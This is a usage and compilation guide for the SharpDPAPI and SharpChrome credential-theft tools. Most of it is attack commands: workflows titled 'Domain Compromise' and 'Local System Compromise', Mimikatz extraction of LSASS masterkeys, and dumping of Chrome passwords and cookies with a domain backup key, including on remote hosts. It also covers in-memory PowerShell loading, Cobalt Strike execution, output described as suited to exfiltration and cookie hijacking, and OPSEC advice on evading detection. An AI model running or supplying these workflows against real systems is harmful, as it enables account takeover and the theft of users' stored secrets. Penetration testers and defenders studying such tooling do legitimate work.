Compilation & Usage

Build Requirements

Visual Studio

Visual Studio 2019 Community Edition or later

.NET Framework

.NET Framework 3.5 (default) or .NET 4.0/4.5

Git

For cloning the repository

Windows OS

Windows build environment required

Compilation Steps

Clone Repository

git clone https://github.com/GhostPack/SharpDPAPI
cd SharpDPAPI

Open Solution

Open SharpDPAPI.sln in Visual Studio 2019 or later

Select Build Configuration

Choose Release configuration (not Debug)
Target platform: Any CPU

Build Projects

Build → Build Solution (or press Ctrl+Shift+B)
Both SharpDPAPI.exe and SharpChrome.exe will be compiled

Locate Binaries

Compiled binaries will be in:

SharpDPAPI/SharpDPAPI/bin/Release/SharpDPAPI.exe
SharpDPAPI/SharpChrome/bin/Release/SharpChrome.exe

Targeting Different .NET Versions

SharpDPAPI defaults to .NET Framework 3.5 for maximum compatibility. However, you can retarget to newer versions:

.NET 3.5 (Default)
.NET 4.0 / 4.5

Advantages:

Maximum compatibility
Runs on most Windows systems by default
Preferred for operational use

Disadvantages:

May not be installed on newer systems
Requires installation if not present

No changes needed - this is the default configuration.

If you change the target framework, ensure the target system has the appropriate .NET version installed.

Binary Distribution

SpecterOps does not provide pre-compiled binaries for SharpDPAPI or SharpChrome. You must compile from source.

Why no binaries?

Encourages understanding of the code
Prevents signature-based detection
Allows for customization
Avoids potential legal issues

Running SharpDPAPI

Direct Execution
PowerShell Wrapper
PSRemoting
Execute-Assembly

# Basic execution
SharpDPAPI.exe

# Show command help
SharpDPAPI.exe --help

# Execute specific command
SharpDPAPI.exe triage /pvk:key.pvk

You can load and execute SharpDPAPI in memory via PowerShell:

# Base64 encode the binary
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Path\SharpDPAPI.exe")) | Out-File -Encoding ASCII SharpDPAPI.txt

# Load in PowerShell
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("AA..."))

# Execute command
[SharpDPAPI.Program]::Main("triage /pvk:key.pvk")

For running over PSRemoting (which doesn’t handle stdout well):

# Use MainString() method instead of Main()
[SharpDPAPI.Program]::MainString("machinetriage")

Or redirect output to file:

SharpDPAPI.exe triage /consoleoutfile:C:\output.txt /pvk:key.pvk

Execute via Cobalt Strike or other frameworks:

execute-assembly /path/to/SharpDPAPI.exe triage /pvk:key.pvk

Command Line Syntax

SharpDPAPI

SharpDPAPI.exe <command> [arguments]

Available Commands:

backupkey - Retrieve domain DPAPI backup key
masterkeys - Decrypt user masterkeys
credentials - Decrypt Credential Manager credentials
vaults - Decrypt Windows Vault data
rdg - Decrypt RDP connection passwords
keepass - Extract KeePass master keys
certificates - Decrypt certificate private keys
triage - Run all user commands
ps - Decrypt PowerShell credential XML
blob - Decrypt arbitrary DPAPI blob
search - Search for DPAPI blobs
sccm - Extract SCCM credentials
machinemasterkeys - Decrypt machine masterkeys
machinecredentials - Decrypt system credentials
machinevaults - Decrypt system vaults
machinetriage - Run all machine commands

SharpChrome

SharpChrome.exe <command> [arguments]

Available Commands:

logins - Extract and decrypt saved passwords
cookies - Extract and decrypt cookies
statekeys - Extract AES state keys
backupkey - Retrieve domain DPAPI backup key

Quick Start Examples

Local User Triage (No Privileges)

# Decrypt current user's RDP passwords
SharpDPAPI.exe rdg /unprotect

# Extract current user's Chrome passwords
SharpChrome.exe logins

# Extract current user's Chrome cookies
SharpChrome.exe cookies /url:".*company\.com.*"

Local Admin Triage

# Triage all machine DPAPI data
SharpDPAPI.exe machinetriage

# Use Mimikatz to get masterkeys
# mimikatz# sekurlsa::dpapi

# Triage user data with masterkeys
SharpDPAPI.exe triage {GUID1}:SHA1 {GUID2}:SHA1
SharpChrome.exe logins {GUID1}:SHA1 {GUID2}:SHA1

Domain Admin Triage

# 1. Get domain backup key
SharpDPAPI.exe backupkey /file:key.pvk

# 2. Triage local system
SharpDPAPI.exe triage /pvk:key.pvk
SharpChrome.exe logins /pvk:key.pvk
SharpChrome.exe cookies /pvk:key.pvk

# 3. Triage remote systems
SharpDPAPI.exe credentials /pvk:key.pvk /server:workstation.domain.com
SharpChrome.exe logins /pvk:key.pvk /server:workstation.domain.com

Offline Analysis

# Copy DPAPI data from target to analysis machine

# Decrypt with known password
SharpDPAPI.exe credentials /target:C:\Evidence\Credentials /password:Password123!

# Decrypt Chrome data with backup key
SharpChrome.exe logins /target:"C:\Evidence\Login Data" /pvk:key.pvk

Common Workflows

Workflow 1: Domain Compromise

# Step 1: Retrieve domain backup key (requires DA)
SharpDPAPI.exe backupkey /server:dc.domain.com /file:backup.pvk

# Step 2: Triage all users on current system
SharpDPAPI.exe triage /pvk:backup.pvk
SharpChrome.exe logins /pvk:backup.pvk
SharpChrome.exe cookies /pvk:backup.pvk /url:".*aws.*" /format:json

# Step 3: Remote system enumeration
SharpDPAPI.exe credentials /pvk:backup.pvk /server:workstation1.domain.com
SharpDPAPI.exe credentials /pvk:backup.pvk /server:workstation2.domain.com
SharpChrome.exe logins /pvk:backup.pvk /server:workstation1.domain.com

Workflow 2: Local System Compromise

# Step 1: Extract masterkeys from LSASS with Mimikatz
# mimikatz# privilege::debug
# mimikatz# sekurlsa::dpapi

# Step 2: Save masterkeys to file (format: {GUID}:SHA1 per line)
# {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
# {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903a9b61c42e6c9ab0f4

# Step 3: Triage with masterkey file
SharpDPAPI.exe triage /mkfile:masterkeys.txt
SharpChrome.exe logins /mkfile:masterkeys.txt

# Step 4: Machine triage (requires elevation)
SharpDPAPI.exe machinetriage

Workflow 3: Credential-Based Access

# If you have a user's password
SharpDPAPI.exe credentials /password:SecurePassword123
SharpDPAPI.exe vaults /password:SecurePassword123
SharpChrome.exe logins /password:SecurePassword123

# If you have NTLM hash
SharpDPAPI.exe credentials /ntlm:8846F7EAEE8FB117AD06BDD830B7586C
SharpChrome.exe cookies /ntlm:8846F7EAEE8FB117AD06BDD830B7586C

Output Management

Console Output
File Output
Formatted Output

Default behavior - prints to console:

SharpDPAPI.exe credentials /pvk:key.pvk

Good for: Interactive use, immediate feedback

Redirect all output to file:

SharpDPAPI.exe credentials /pvk:key.pvk /consoleoutfile:C:\results.txt
SharpChrome.exe cookies /pvk:key.pvk /consoleoutfile:C:\cookies.txt

Good for: PSRemoting, logging, exfiltration

Choose output format (SharpChrome):

# CSV format (default)
SharpChrome.exe logins /format:csv

# Table format
SharpChrome.exe logins /format:table

# JSON format (cookies only)
SharpChrome.exe cookies /format:json /setneverexpire

Good for: Data processing, cookie hijacking

Troubleshooting

Build Errors

Problem: Solution won’t buildSolutions:

Ensure Visual Studio 2019+ is installed
Verify .NET Framework 3.5 is installed
Clean solution (Build → Clean Solution)
Rebuild solution (Build → Rebuild Solution)
Check for missing NuGet packages

.NET Framework Not Found

Problem: Target system doesn’t have .NET FrameworkSolutions:

Install .NET Framework 3.5:

# Windows 10/11
DISM /Online /Enable-Feature /FeatureName:NetFx3 /All

# Or via PowerShell
Enable-WindowsOptionalFeature -Online -FeatureName NetFx3 -All

Or recompile for .NET 4.0/4.5

No Data Decrypted

Problem: Commands run but no data is decryptedSolutions:

Verify decryption method is correct:
- Using /unprotect? Must run as target user
- Using /pvk? Must have valid backup key
- Using masterkeys? Must have correct GUIDs
- Using /password? Must be correct password
Check if DPAPI data exists:
- Credentials: %LOCALAPPDATA%\Microsoft\Credentials\
- Vaults: %LOCALAPPDATA%\Microsoft\Vault\
- Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\

Access Denied Errors

Problem: Access denied when reading filesSolutions:

For user DPAPI: Run as target user or use valid decryption method
For machine DPAPI: Must run as Administrator
For remote systems: Must have admin access to target
For domain backup key: Must have Domain Admin privileges

Chrome 80+ Not Decrypting

Problem: Chrome logins/cookies won’t decryptSolutions:

First decrypt the state key:
```
SharpChrome.exe statekeys /pvk:key.pvk
```

Then use the state key:

SharpChrome.exe logins /statekey:EXTRACTED_KEY

Or use automatic decryption:
```
SharpChrome.exe logins /pvk:key.pvk
```
(SharpChrome will automatically handle state key decryption)

Operational Security

Consider these OPSEC factors when using SharpDPAPI/SharpChrome in operations:

Detection Vectors
Mitigation Strategies
Alternative Execution

File reads of sensitive DPAPI locations
LSASS access for DPAPI_SYSTEM secret
Process execution of SharpDPAPI.exe/SharpChrome.exe
Network SMB access to remote systems
Domain controller backup key retrieval
Bulk credential file access

Additional Resources

GitHub Repository

Source code and latest releases

DPAPI Attack Guide

Operational guidance for DPAPI abuse

Mimikatz Wiki

Understanding Credential Manager and DPAPI

Visual Studio Community

Download Visual Studio for compilation

Next Steps

SharpDPAPI Overview

Learn about DPAPI and SharpDPAPI capabilities

SharpChrome Overview

Browser credential extraction guide

Command Reference

Detailed command documentation

Example Scenarios

Real-world usage scenarios

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

Build Requirements

Visual Studio

.NET Framework

Git

Windows OS

Compilation Steps

Targeting Different .NET Versions

Binary Distribution

Running SharpDPAPI

Command Line Syntax

SharpDPAPI

SharpChrome

Quick Start Examples

Common Workflows

Workflow 1: Domain Compromise

Workflow 2: Local System Compromise

Workflow 3: Credential-Based Access

Output Management

Troubleshooting

Operational Security

Additional Resources

GitHub Repository

DPAPI Attack Guide

Mimikatz Wiki

Visual Studio Community

Next Steps

SharpDPAPI Overview

SharpChrome Overview

Command Reference

Example Scenarios

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

​Build Requirements

Visual Studio

.NET Framework

Git

Windows OS

​Compilation Steps

​Targeting Different .NET Versions

​Binary Distribution

​Running SharpDPAPI

​Command Line Syntax

​SharpDPAPI

​SharpChrome

​Quick Start Examples

​Common Workflows

​Workflow 1: Domain Compromise

​Workflow 2: Local System Compromise

​Workflow 3: Credential-Based Access

​Output Management

​Troubleshooting

​Operational Security

​Additional Resources

GitHub Repository

DPAPI Attack Guide

Mimikatz Wiki

Visual Studio Community

​Next Steps

SharpDPAPI Overview

SharpChrome Overview

Command Reference

Example Scenarios

Build Requirements

Compilation Steps

Targeting Different .NET Versions

Binary Distribution

Running SharpDPAPI

Command Line Syntax

SharpDPAPI

SharpChrome

Quick Start Examples

Common Workflows

Workflow 1: Domain Compromise

Workflow 2: Local System Compromise

Workflow 3: Credential-Based Access

Output Management

Troubleshooting

Operational Security

Additional Resources

Next Steps